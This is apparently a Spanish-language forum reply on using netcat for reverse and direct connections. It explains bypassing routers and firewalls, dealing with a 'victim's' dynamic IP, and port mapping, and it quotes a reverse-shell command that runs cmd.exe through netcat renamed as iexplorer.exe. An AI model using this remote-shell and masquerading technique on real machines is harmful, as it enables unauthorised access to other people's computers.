1- Con la conexion inversa puedes saltarte un router, es decir, puedes conectar a una pc en lan
También en algunos casos el firewall
2- No tengo idea pero no debería de haber problemas, igualemente es recomendable utilizar la misma versión, si tienes una para que enviar otra?
3- Te recomiendo leer este post
4- Exacto, es por eso que en ejemplo de Jugando con netcat v1.1 dice iexplorer.exe -d -e cmd.exe 127.0.0.1 80 en lugar de nc -d -e cmd.exe 127.0.0.1 80
5- Si, debe de estar abierto
En conexion directa si la persona tiene un router de por medio también tiene que estar mapeado el puerto
Y en el caso de conexion inversa eres tu quien debe de tenerlo mapeado en el caso de tener router
6- Exacto, depende de quien tenga el listen, la de Martín Fierro es directa
Saludos
[Modifico]: Me faltó decir que con la conexión inversa solucionas el problema de que la victima tenga ip dinámica, y en caso de que quién tenga ip dinámica seas tu te es más sencillo configurarte una cuenta no-ip